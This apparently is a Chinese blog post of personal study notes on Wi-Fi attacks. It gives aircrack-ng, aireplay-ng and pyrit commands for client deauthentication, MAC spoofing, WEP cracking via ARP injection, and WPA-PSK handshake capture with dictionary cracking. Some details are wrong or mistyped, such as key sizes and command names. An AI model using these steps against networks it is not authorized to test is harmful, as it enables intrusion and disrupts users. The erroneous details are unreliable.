天天看点

针对802.11网络攻击的个人心得

首先在kali linux平台下操作:

问题(1)如何将网卡设置为监听模式

airmon-ng check
airmon-ng check kill   //将有关进行kill掉

iwconfig //查看目前网络接口
           
airmon-ng start wlan0 //开启监听模式
iwconfig wlan0 mode monitor //利用linux中iw无线工具命令实现开启监听模式,但是不同版本的linux中可能有的没有iw或者是其他命令。
           

此时在使用iwconfig命令就可以看到开启了一个处于监听模式下的无线网卡

问题(2)如何实现解除认证(deauthenticate)

解除认证的基本原理:由于802.11的管理帧不需要鉴定识别,因此客户端无法识别管理帧是谁发出来的,因此可以伪造一个管理帧告诉客户端让其重新发送连接请求,可以利用获取连接请求的帧分析出AP的基本服务标识,也就是ESSID。

使用aireplay-ng 实现解除认证:

aireplay-ng --deauth  -a AP MAC -c client MAC wlan0mon
           

这里的1含有64个解除认证的数据包分别给AP和client,用来告诉他们要解除认证。目前在WPA2中有有关抵御这种解除关联帧的方式。

问题(3)如何修改本机无线网卡的MAC地址

针对部分AP采用的MAC过滤手段,可以修改自己的网卡MAC

sudo ifconfig wlan0 down
sudo ifconfig wlan0 hw ether mac_address
sudo ifconfig wlan0 up
           

问题(4)针对WEP(有限等长保密协议)的攻击

WEP的秘钥有两个长度:40字节+24字节IV(初始向量)或者是104字节+24字节IV。其中IV为明文传递,且值只有224种。 WEP加密模式提供了三种认证方式:自动,开放,共享秘钥。下面是其中一种破解流程:

首先网卡设置为监听模式,使用airodump-ng 扫描附近网络AP,发现采用WEP的AP后,针对其进一步扫描:

airodump-ng --ivs -w 文件名 --bssid AP MAC -c channel wlan0mon
//将文件保存为可用于破解的IVS文件。
           

当破解数据包达到一定数量,也即是AP和client的数据流,我试过10000貌似不够,为了更多的获取数据,可ARP注入方式(相当于假借client的名义发送ARP请求,加大网络流量):

aireplay-ng –arpreplay -h client_mac -b AP_mac wla0mon

然后使用aircrack破解

aircrack-ng -b AP_mac 文件.ivs/或者是.CAP文件(前面没有IVS的话)
           

或者为了省略上面的步骤,使用kali下的wifite工具破解,其原理是一致的,具体针对WEP的两种秘钥破解FMS和PTW方式

FMS (2001年由Fluhrer,Mantin,Shamir发表)

PTW (2005年由Pyshkin,Tews,Weinmann发表)

问题(5)如何破解WPA-PSK

WPA(Wi-Fi保护访问),其中PSK为个人版,采用预共享秘钥方式(pre-shared key authentication)

使用airodump-ng 命令被动嗅探WPA握手包

airedump-ng --channel -w 文件 wlanmon0
           

或者使用解除认证的方法让用户被迫下线再试图重新连接时获取握手包。

使用暴力破解法:

aircrack-ng -w 字典 .cap文件 
           

其中字典的创建可以使用kali下的crunch命令,另外还有一些字典创建工具和破解工具,譬如pyrit,oclHashcat等

为了加速WPA破解,字典采用提前进行散列值的转换,即利用目标AP的ESSID获取散列值

pyrit -e 'AP ESSID' create_essid

pyrit -i worldlist(提供给pyrit的字典)  import_passwords

pyrit batch

pyrit -r .cap文件 attack_db
           

其次,还对WEP加密采用的RC4算法简单了学习了一下其实现过程以及安全性,总结一下三月份的这方面的学习工作:

(1)了解aircrack-ng相关组件的基本使用

(2)对WEP,WPA-psk的破解流程与手段有一定的认识

(3)了解RC4算法

不足:

(1)主要是针对无线网络传输环境的窃取,对于客户端的攻击了解很少

(2)对于RC4等密码算法缺少实际的代码重写训练

(3)熟练度还有待加强

继续阅读